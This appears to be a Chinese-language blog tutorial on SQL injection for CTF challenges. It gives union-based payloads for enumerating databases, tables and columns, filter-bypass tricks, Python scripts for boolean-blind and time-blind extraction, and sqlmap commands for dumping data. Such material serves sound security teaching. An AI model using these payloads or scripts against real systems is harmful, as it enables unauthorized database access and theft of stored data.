抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

sql 注入的题目,出现在登录、注册、查询信息类的题目,涉及前端、后端、数据库(mysql)等知识点。

sql注入类别分为:联合注入、报错注入、布尔盲注、时间盲注。

联合盲注

联合盲注即通过找注入点,然后通过 union 联合查询语句找到数据库中想要的值,联合查询即保证和前面的select语句有相同字段数,判断select 语句的字段数,order by 判断字段数,查找有多少个库,有多少个表,有什么字段。

1.判断是否有注入点

  • 通过单引号 ' 判断是否有注入点
  • 注入点多试以下符号: ' " ) ')

2.注入点是字符型还是数字型?

  • id=1 and 1=1和id=1 and 1=2 页面无变化,说明注入点不是整形;如果注入点为整形,则直接加入 sql 注入语句即可
  • id =1 ' and 1=1 %23, id =1 ' and 1=2 %23,说明注入类型为字符

3.判断输出内容有多少列

判断字段数 id='order by 5 -- -', 如果字段为 5 则输出正常,输入order by 6%23 发现页面错误,说明没有 6 列,输入 5 正确,说明有5 列。

4.判断显示位

查看页面显示的字段是第几位,id='union select 1,2,3,4,5 %23,查看显示数字是第几位

5.获取所有数据库名

1
id='union select 1,2,select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA,4,5%23

得到两个数据库 information_schema, sq01

6.获取表名

1
id=' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='SQL01'),3%23

得到表名 users

7.获取列名

1
?id=' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3,4,5%23

8.然后根据表名和列名查询想要的数据

9.sql关键字被过滤的解决方法

  • 通过将关键字重复写两遍,如select 换为 seselectlect
  • # 被注释 换成 -- -'
  • ' 被过滤,换成 %df\:表示中文字符,%df 表示 ‘运,或者尝试 %df 然后再加 '

布尔盲注

当注入点没有提示信息返回,只有and 1=1 或者 1=2不相同提示时,可通过布尔盲注。
通过撞字符获取数据库中的 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

url = "http://url/index.php?id=1'"
chars = "QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm1234567890!@#$%^&*(){}"
flag = ""

for i in range(160):
    if "}" in flag:
        break
    for char in chars:
        payload = url + "and hex(mid((select flag from users),{0},1))=hex('{1}') -- -".format(i, char)
        rsp = requests.get(payload)
        if "SangFor" in rsp.text:
            flag = flag + char
            print(flag)
            break

时间盲注

时间盲注,当注入点没有其他提示信息返回时,通过布尔盲注也没有信息提示时,但是 and sleep(5) 页面有等待,说明存在时间盲注。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

url = "http://url/index.php?id="
chars = "QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm1234567890!@#$%^&*(){}"
flag = ""

for i in range(160):
    if "}" in flag:
        break
    for char in chars:
        try:
            payload = url + "1' and if(hex(mid((select flag from users),{0},1))=hex('{1}'),sleep(3),3) -- -".format(i, char)
            rsp = requests.get(payload, timeout=2)
        except:
            flag +=  char  
            print(flag)
            break

通过 sqlmap 工具查询关键信息

  • 查询数据库,pyhton2 sqlmap.py -u url --dbs
  • 查询表 python2 sqlmap.py -u url -D 数据库名 --tables
  • 查询字段 python2 sqlmap.py -u url -D 数据库名 -T 数据表名 --columns
  • 查询值 python2 sqlmap.py -u url -D 数据库名 -T 数据表名 --dump
  • 绕过字符过滤 python2 sqlmap.py -u url --dbs -t 10 --tamper unmagicquotes.py sqlmap

评论